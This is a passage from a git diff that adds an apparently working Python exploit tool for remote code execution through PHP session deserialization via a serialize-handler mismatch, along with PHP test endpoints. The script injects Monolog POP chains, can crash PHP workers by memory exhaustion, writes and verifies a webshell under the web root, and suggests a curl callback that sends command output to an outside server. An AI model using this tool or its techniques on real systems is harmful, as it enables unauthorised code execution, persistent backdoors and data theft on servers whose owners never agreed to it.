= http_get( + trg_host, trg_port, trg_tls, trg_path, + cookies=f"PHPSESSID={sid}", + timeout=10, + ) + sc2 = status_code(resp2) + body2 = body_of(resp2).decode(errors="replace") + print(f" Response: HTTP {sc2}") + + return sid, sc2, body2 + + +def run_progress(args, chain_bytes): + """Progress mode: inject via upload progress filename + OOM crash.""" + wr = urlparse(args.write_url) + trg = urlparse(args.trigger_url) + wr_tls = wr.scheme == "https" + trg_tls = trg.scheme == "https" + wr_host = wr.hostname or "127.0.0.1" + trg_host = trg.hostname or "127.0.0.1" + wr_port = wr.port or (443 if wr_tls else 80) + trg_port = trg.port or (443 if trg_tls else 80) + wr_path = wr.path or "/" + trg_path = trg.path or "/" + + if b"\x00" in chain_bytes: + print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs") + print(" via multipart filenames (PHP truncates at \\x00).") + print(" Use --mode inject, or provide a NULL-free chain.") + sys.exit(1) + + sid = os.urandom(16).hex() + print(f"[*] Session ID: {sid}") + + print("[*] Phase 1: injecting chain via upload progress + OOM crash...") + print(f" Fields: {args.fields} x {args.field_size}B") + sc = progress_inject_oom( + wr_host, wr_port, wr_tls, wr_path, sid, + chain_bytes, args.fields, args.field_size, + ) + if sc in (502, 0): + print(f" [+] Worker crashed (HTTP {sc or 'reset'})") + elif sc == 500: + print(f" [+] HTTP 500 (OOM during script)") + else: + print(f" [!] HTTP {sc} — may not have OOMed") + + print(" Waiting for new worker...") + time.sleep(2) + for _ in range(8): + try: + r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3) + if status_code(r) in (200, 301, 302, 403, 404): + print(" New worker ready") + break + except Exception: + pass + time.sleep(1) + + print("[*] Phase 2: triggering deserialization via handler mismatch...") + resp = http_get( + trg_host, trg_port, trg_tls, trg_path, + cookies=f"PHPSESSID={sid}", + timeout=10, + ) + sc2 = status_code(resp) + body2 = body_of(resp).decode(errors="replace") + print(f" Response: HTTP {sc2}") + + return sid, sc2, body2 + + +def run(args): + # Build or load chain + if args.chain_file: + with open(args.chain_file, "rb") as f: + chain_bytes = f.read().rstrip(b"\n\r") + if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"): + try: + chain_bytes = base64.b64decode(chain_bytes) + except Exception: + pass + print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)") + elif args.chain in CHAINS: + info = CHAINS[args.chain] + if info["type"] == "fw": + if not args.write_path: + print(f"[!] --write-path required for {args.chain} chain") + print(" e.g., --write-path /var/www/html/shell.php") + sys.exit(1) + shell = args.shell_code or "" + chain_bytes = info["fn"](args.write_path, shell) + print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}") + else: + if not args.cmd: + print(f"[!] --cmd required for {args.chain} chain") + sys.exit(1) + chain_bytes = info["fn"](args.cmd) + print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')") + else: + print("[!] Specify --chain or --chain-file") + print(" Available chains: " + ", ".join(CHAINS.keys())) + sys.exit(1) + + print(f"[*] Chain size: {len(chain_bytes)} bytes") + has_nulls = b"\x00" in chain_bytes + if has_nulls: + print("[*] Chain contains NULL bytes (normal for protected/private props)") + print() + + print("=" * 65) + print(" PHP Session Deserialization RCE — Handler Mismatch") + print(" No LFI. No FPM dependency.") + print("=" * 65) + print(f" Mode : {args.mode}") + if args.mode == "inject": + print(f" Inject URL : {args.inject_url}") + print(f" Inject param: {args.inject_param}") + else: + print(f" Write URL : {args.write_url}") + print(f" Trigger URL: {args.trigger_url}") + if args.chain_file: + print(f" Chain : {args.chain_file}") + else: + print(f" Chain : {args.chain}") + print() + + if args.mode == "inject": + sid, sc, body = run_inject(args, chain_bytes) + else: + sid, sc, body = run_progress(args, chain_bytes) + + # Post-exploit for fw chains: verify the webshell was written + chain_info = CHAINS.get(args.chain, {}) + if chain_info.get("type") == "fw" and args.write_path: + print() + print("[*] Phase 4: verifying webshell...") + + # Guess the webshell URL from write_path + # /var/www/html/shell.php -> /shell.php + shell_rel = args.write_path + for prefix in ["/var/www/html", "/var/www", "/srv/http", + "/usr/share/nginx/html"]: + if shell_rel.startswith(prefix): + shell_rel = shell_rel[len(prefix):] + break + + trg = urlparse(args.trigger_url) + trg_tls = trg.scheme == "https" + trg_host = trg.hostname or "127.0.0.1" + trg_port = trg.port or (443 if trg_tls else 80) + + verify_url = shell_rel + "?c=id" + try: + resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5) + vbody = body_of(resp).decode(errors="replace") + if "uid=" in vbody: + print(f" [+] Webshell works!") + print() + print("[+] ═══════════════ RCE OUTPUT ═══════════════") + print(vbody.strip()) + print("[+] ══════════════════════════════════════════") + print() + print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD") + return + else: + print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})") + except Exception as e: + print(f" [!] Could not verify: {e}") + + if chain_info.get("type") == "cmd": + # Command output may be in the trigger response itself, + # or it may have run as a side effect (no visible output). + print() + if body.strip(): + print("[+] Trigger response body:") + print(body[:500]) + print() + print("[*] Command was executed during deserialization (__destruct).") + print(" If output is not visible, use a callback payload:") + print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'") + + print() + print("[*] Deserialization triggered. If no RCE:") + print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)") + print(" - Verify the POP chain matches the target's libraries") + print(" - Try phpggc to generate a chain for the exact versions:") + print(" phpggc -l | grep RCE") + print(f" - Session ID was: {sid}") + + +def main(): + ap = argparse.ArgumentParser( + description="PHP Session Deserialization RCE via Handler Mismatch", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +No LFI. No FPM. RCE via session.serialize_handler mismatch. + +Examples: + # Inject mode with Monolog file write (drops webshell): + %(prog)s --inject-url http://target/save.php \\ + --inject-param data \\ + --trigger-url http://target/view.php \\ + --chain monolog-fw --write-path /var/www/html/s.php + + # Inject mode with direct command execution: + %(prog)s --inject-url http://target/save.php \\ + --inject-param data \\ + --trigger-url http://target/view.php \\ + --chain monolog-cmd --cmd 'id' + + # Custom phpggc chain (raw or base64): + phpggc Monolog/RCE1 system id > chain.bin + %(prog)s --inject-url http://target/save.php \\ + --inject-param data \\ + --trigger-url http://target/view.php \\ + --chain-file chain.bin + + # Progress mode (no app session injection needed): + %(prog)s --mode progress \\ + --write-url http://target/serialize_ep.php \\ + --trigger-url http://target/php_ep.php \\ + --chain-file chain_nofull.bin +""") + ap.add_argument("--mode", choices=["inject", "progress"], default="inject", + help="Injection mode (default: inject)") + ap.add_argument("--inject-url", + help="URL of endpoint that stores POST data in session " + "(must use php_serialize handler)") + ap.add_argument("--inject-param", default="data", + help="POST parameter stored in $_SESSION (default: data)") + ap.add_argument("--write-url", + help="URL of php_serialize endpoint (progress mode)") + ap.add_argument("--trigger-url", required=True, + help="URL of endpoint using default php handler " + "(triggers deserialization)") + ap.add_argument("--chain", choices=list(CHAINS.keys()), + help="Built-in POP chain") + ap.add_argument("--chain-file", + help="Custom serialized chain file (e.g., phpggc output)") + ap.add_argument("--write-path", + help="Target file path for monolog-fw chain") + ap.add_argument("--shell-code", + help="PHP code for webshell (monolog-fw, default: system)") + ap.add_argument("--cmd", help="Command for monolog-cmd chain") + ap.add_argument("--fields", type=int, default=30000, + help="OOM pressure fields for progress mode (default: 30000)") + ap.add_argument("--field-size", type=int, default=512, + help="Bytes per OOM field (default: 512)") + args = ap.parse_args() + + if args.mode == "inject" and not args.inject_url: + print("[!] --inject-url required for inject mode") + sys.exit(1) + if args.mode == "progress" and not args.write_url: + print("[!] --write-url required for progress mode") + sys.exit(1) + if not args.chain and not args.chain_file: + print("[!] Specify --chain or --chain-file") + sys.exit(1) + + run(args) + + +if __name__ == "__main__": + main() diff --git a/session-deser/test_chain.php b/session-deser/test_chain.php new file mode 100644 index 0000000..87ccc14 --- /dev/null +++ b/session-deser/test_chain.php @@ -0,0 +1,22 @@ +\n"); + exit(1); +} + +fwrite(STDERR, "Payload length: " . strlen($payload) . "\n"); +fwrite(STDERR, "Unserializing...\n"); + +$obj = unserialize($payload); + +fwrite(STDERR, "Object type: " . get_class($obj) . "\n"); +fwrite(STDERR, "Letting __destruct fire (end of script)...\n"); + +// __destruct fires here when $obj goes out of scope diff --git a/session-deser/test_serialize.php b/session-deser/test_serialize.php new file mode 100644 index 0000000..ab979c0 --- /dev/null +++ b/session-deser/test_serialize.php @@ -0,0 +1,25 @@ + $v) { + $_SESSION[$k] = $v; + } + echo json_encode(['status' => 'ok', 'session_id' => session_id()]); +} else { + echo json_encode([ + 'status' => 'ready', + 'session_id' => session_id(), + 'handler' => 'php_serialize', + ]); +} diff --git a/session-deser/test_trigger.php b/session-deser/test_trigger.php new file mode 100644 index 0000000..ad24f5d --- /dev/null +++ b/session-deser/test_trigger.php @@ -0,0 +1,18 @@ +